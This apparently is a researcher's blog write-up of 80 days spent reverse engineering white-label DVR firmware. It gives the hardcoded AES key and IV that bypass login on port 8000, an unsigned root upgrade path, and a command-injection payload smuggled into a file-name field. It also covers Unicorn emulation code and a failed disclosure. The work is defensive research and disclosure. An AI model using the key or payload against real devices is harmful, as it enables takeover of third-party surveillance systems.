80 Days Reverse Engineering an IoT DVR:
What I Found and Why It Didn't Work Out
Most vulnerability research writeups read like polished victory laps: the researcher glances at a binary, spots an unauthenticated pre-auth RCE in an afternoon, scripts a clean exploit, cashes a five-figure bounty check, and walks away.
This is not that writeup.
I spent roughly 80 sleepless days dissecting stripped ARM32 firmware binaries powering tens of thousands of white-label OEM surveillance DVRs globally. I extracted bootloader sequences, broke hardcoded AES-256 crypto, uncovered an unauthenticated root firmware execution vector, disassembled custom network daemons, and wrote instruction-level CPU emulators in Unicorn and QEMU.
And when the dust settled? I had $0 in bounties, expired server hosting, no live remote shell on the physical hardware, and an orphaned vulnerability.
Here is the unfiltered engineering reality of how it started, what I found, the rabbit holes I fell into, the shims I built, and the harsh lessons about target selection in the real-world offensive security economy.
1. How It Started: Bench Hardware vs. 28,006 Internet Hosts
The research began on my lab workbench with an owner-operated, 4-channel analog surveillance DVR (HD ANALOG 04, serial 50400768). The device was powered by a HiSilicon Hi3521a SoC (ARM32) running an embedded Linux kernel.
On the local network, the device exposed two primary services:
- TCP Port 80: An embedded
lighttpdweb server hosting a proprietary ActiveX/CMS web viewer. - TCP Port 8000: A proprietary binary daemon (NetSession / DNP) handling video streaming, PTZ control, and administrative orchestration.
To understand the real-world attack surface of this stack, I extracted the HTML hash of the login viewer and queried Shodan:
# Shodan query via login viewer HTML hash
http.html_hash:1901075043
# Census Results:
Total exposed devices : 28,006 internet-facing units
Primary open ports : 80, 443, 8000, 8080
Geographic spread : Global (heavy density in APAC, EMEA, Latin America)
Seeing 28,000+ internet-facing devices running a custom binary daemon on port 8000 made the question obvious: Can an unauthenticated remote attacker compromise this fleet?
2. Architecture & Multi-Generational Firmware Extraction
To analyze the platform without risking permanent bricking of the bench unit, I obtained and unpacked firmware images spanning two separate platform generations:
ALL_3rip_2.3.4.9B09— Built for the Indus / Hi3521a architecture (config version 2349).ALL265_3r_2.3.7.9B06— Built for the Volans / Hi3531d architecture (config version 2379, H.265 generation).
Unpacking the root filesystems revealed three critical components:
/dvr/
├── gui-indus-3r # Qt-based core UI & network event dispatcher
├── S90dvrd # SysV init boot orchestration script
└── lib/
└── libdal.so # Hardware abstraction layer & DNP protocol demux
3. The iSCSI Rabbit Hole: A Lesson in Intellectual Honesty
Early in static analysis, I thought I had struck gold within 48 hours. Grepping strings inside libdal.so revealed blatant shell injection templates:
# Strings extracted from libdal.so (.rodata)
0x26df9c: /dvr/iscsiadm -m node --targetname "%s" --portal "%s:%d" --login
0x26df78: /dvr/iscsiadm -m discovery -t sendtargets -p %s
0x26dffc: /dvr/iscsiadm -m node --targetname "%s" --logout
0x26e030: /dvr/iscsiadm -m node -o delete "%s"
I assumed opcode 0x8130 (SET_ISCSI) could be invoked over port 8000 to deliver a command injection payload straight into system(). I spent days constructing packets and testing against the physical hardware.
The result? The live device immediately threw a ConnectionError and closed the socket.
Instead of convincing myself the payload was just "malformed," I performed cross-reference analysis in radare2 and Ghidra (axt across all references):
libdal from the network dispatcher for the iSCSI functions. They were invoked exclusively by the local Qt GUI (gui-indus-3r, TSetupIscsi), reading local config files. They were physically unreachable over the network.
I formally retracted the finding in my notes. In security research, intellectual honesty is everything: code existing in a binary does not equal an exploitable remote vulnerability.
4. The Real Findings: Crypto & Firmware Update Chains
Finding 1: Protocol Authentication Bypass via Static AES-256 Key
The binary protocol running on TCP port 8000 frames packets with an 8-byte header: magic=0x5AA5, cmd (uint16), and length (uint32).
Analyzing opcode 0x8100 (the login handler) revealed that authentication is not tied to a password database. Instead, authentication relies on symmetric AES-256-CBC encryption using static keys hardcoded in the .rodata section of both libdal.so and gui-indus-3r:
KEY = b"dvr1234567!@#$%^&*()QWERTYUIOP%".ljust(32, b"\x00")
IV = b"123456789012345\x00"
# Wire Handshake:
# 1. Client sends encrypted block: struct.pack(">5I", 1, 1, 1, len(inner), 0) + inner
# where inner = AES_ENC(b"admin")
# 2. Server decrypts using the static key.
# 3. Server issues a per-session token used to encrypt subsequent commands.
I verified this live against the bench unit:
[+] login ok, session=b'06107402319800091b350e96HIJKLMN'
[+] devinfo serial=50400768 ver=0x00000620 name='HD ANALOG 04'
Anyone knowing the static key can authenticate to any internet-facing device on port 8000 without credentials.
Finding 2: The Unsigned Root Boot Upgrade Flow
Inspecting /etc/init.d/S90dvrd revealed how firmware updates are applied at system boot:
# /etc/init.d/S90dvrd boot logic
FWR=/dvr/fwr
if [ -f "$FWR" ]; then
tar -zxvf $FWR ./upgrade
chown root /dvr/upgrade
chgrp root /dvr/upgrade
chmod 755 /dvr/upgrade
/dvr/upgrade $FWR reboot &
fi
There is zero cryptographic signature verification. No RSA public key check, no digest validation. If a tar.gz archive containing an executable named ./upgrade is placed at /dvr/fwr, it executes automatically as root (uid 0) during boot.
Finding 3: Sscanf Command Injection & The Flawed Gate
In libdal, opcode 0x220 handled firmware staging. It parsed the incoming packet using sscanf:
sscanf(payload, "fname:%s size:%d ver:%s", &src_path, &file_size, &version);
The extracted src_path was stored in the context struct at offset +0x25311c. When opcode 0x221 (apply) was triggered, it called:
sprintf(buf, "mv %s /dvr/fwr.tmp", ctx->src_path);
sys_system(buf);
Looking at the disassembly of sys_system() at address 0x9cc70, the vendor had implemented a custom character filter. It checked and rejected only two characters: backticks (`) and dollar signs ($).
Semicolons (;), pipes (|), and output redirects (>) were completely unhandled!
# Attacker payload:
fname:/dev/null;id>/www/pages/ROOTPWN.txt;# size:1 ver:1.2.3.4
# Resolves to:
system("mv /dev/null;id>/www/pages/ROOTPWN.txt;# /dvr/fwr.tmp")
5. CPU Register-Level Proof with Unicorn Engine
To prove the vulnerability without relying on assumptions, I built an instruction-level CPU emulator in Python using Unicorn Engine (unicorn-rce.py).
The script mapped the actual stripped ARM32 binary (libdal-volans-hi3531d.so) directly into emulated memory, set up the ARM registers, populated the context struct with the injection payload, and stepped instructions:
# unicorn-rce.py snippet
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM)
mu.mem_map(BASE, 0x2C0000)
mu.mem_write(BASE, elf_bytes[:0x2C0000])
# Inject payload into struct offset
mu.mem_write(CTX + 0x253208, b"/dev/null;id>/www/pages/ROOTPWN.txt;#\x00")
mu.reg_write(UC_ARM_REG_R0, CTX)
mu.reg_write(UC_ARM_REG_SP, STACK + 0x8000)
# Hook the BL sys_system call site
def hook(uc, addr, size, data):
if addr in BL_SYSTEM:
r0 = uc.reg_read(UC_ARM_REG_R0)
print("[!] CAPTURED r0:", cstr(r0))
Execution transcript:
$ python3 unicorn-rce.py libdal-volans-hi3531d.so
map blob file[0:0x2c0000) @ 0x00400000 (entry f4cac=0x004f4cac)
[+] sprintf built: mv /dev/null;id>/www/pages/ROOTPWN.txt;# /dvr/fwr.tmp
[!] CAPTURED r0 -> system("mv /dev/null;id>/www/pages/ROOTPWN.txt;# /dvr/fwr.tmp")
[+] PROVEN: Vendor ARM32 code passes unauthenticated attacker bytes directly to system()
6. The NTP Injection & The Hardware Reboot Trap
While investigating secondary attack surfaces, I discovered a command injection in the device's NTP configuration interface. Supplying a command in the NTP server parameter successfully wrote the payload into NVRAM, where it persisted across power cycles.
To trigger the reboot programmatically, I used an open-source tool called pwneye. However, the tool crashed immediately—it had an unhandled exception when interacting with devices configured with a blank administrative password. I reversed pwneye's Python code, patched the authentication check, and successfully triggered a physical reboot.
The box rebooted. The payload remained intact in NVRAM. But the root shell marker never appeared.
Disassembly of the 3.x startup sequence revealed the catch: the vendor had disabled the automated NTP synchronization routine at boot time in this build. The payload was safely stored in NVRAM, but the code path to execute it was dead.
7. The Remote Lab Infrastructure: Codespaces & Tor
Running heavy emulation and static decompilation on a Raspberry Pi 5 bench machine was impractical. I containerized the analysis environment and moved it to GitHub Codespaces:
dnpc-codespace-stub.py: A wire-faithful socket emulator replicating the binary DNP state machine (0x8100 -> 0x0120 -> 0x220 -> 0x221).- Automated port forwarding through Codespaces allowed direct testing from local scripts without configuring complex VPN tunnels.
- For testing against the physical hardware, traffic was routed through a dedicated Tor circuit (
.onion) to ensure clean separation from personal IP addresses.
8. The "Dead Zone" Paradox: 2,956 Fleet Hosts vs. 1 Bench Unit
Here is the central dilemma that defined the final month of the research:
- Firmware versions
2.3.4.xand2.3.7.xcontained both the vulnerable0x220/0x221code and the active network dispatch handlers. - My Shodan census proved that 2,956 internet-facing devices were actively running the vulnerable
2.3.7.xbuild. - However, my physical bench unit had been updated to
3.1.14.0 (0x620). On this newer branch, the vendor had migrated or dropped0x220/0x221from the network dispatch table.
Because I maintain strict research ethics, I refused to touch or fire test packets at any of the 2,956 third-party devices on the internet. Testing was strictly confined to my bench hardware.
On my bench hardware, the wire trigger was closed. On the internet fleet, the wire trigger was open, but off-limits.
9. The White-Label Orphan Trap & ZDI Rejection
I attempted coordinated vulnerability disclosure. There was no security contact, no security.txt, and no vendor portal. The only contact listed in the device manual was an unmonitored WhatsApp number. I sent detailed vulnerability advisories; no response ever arrived.
Next, I packaged the entire dossier—Ghidra disassemblies, Unicorn emulation scripts, wire transcripts, and PoCs—and submitted it to the Zero Day Initiative (ZDI).
ZDI operates a legitimate, well-funded acquisition program. But their business model relies on selling vulnerability intelligence to enterprise clients protecting Fortune 500 networks (VMware, Microsoft, Cisco, iOS).
Budget consumer surveillance DVRs have zero commercial acquisition value to corporate vulnerability feeds. The submission was declined.
By day 80, my Contabo VPS hosting had expired, my pocket balance was $0, and I couldn't afford to pay for OSCP+.
10. The Real Takeaways
Spending 80 days on an intense technical rabbit hole with zero financial return was a harsh reality check. But it taught me three principles that no certification can simulate:
- Target Selection is Everything: Technical complexity does not equal commercial value. Before dedicating months to reversing an embedded target, verify that there is a funded vulnerability reward program or an enterprise vendor accountable for patching it.
- Intellectual Honesty is the Only Currency: It is easy to fabricate hype or claim "fleet-wide 0-days" by glossing over build differences. Documenting the exact boundaries—what is binary-proven vs. what is live-network reachable—is what separates genuine researchers from charlatans.
- Low-Level Engineering Skills Compound: The 80 days were not wasted. The deep fluency with ARM32 assembly, Ghidra decompilation, Unicorn CPU emulation, and protocol auditing directly powers the high-concurrency tooling I build today at Leviathan OffSec.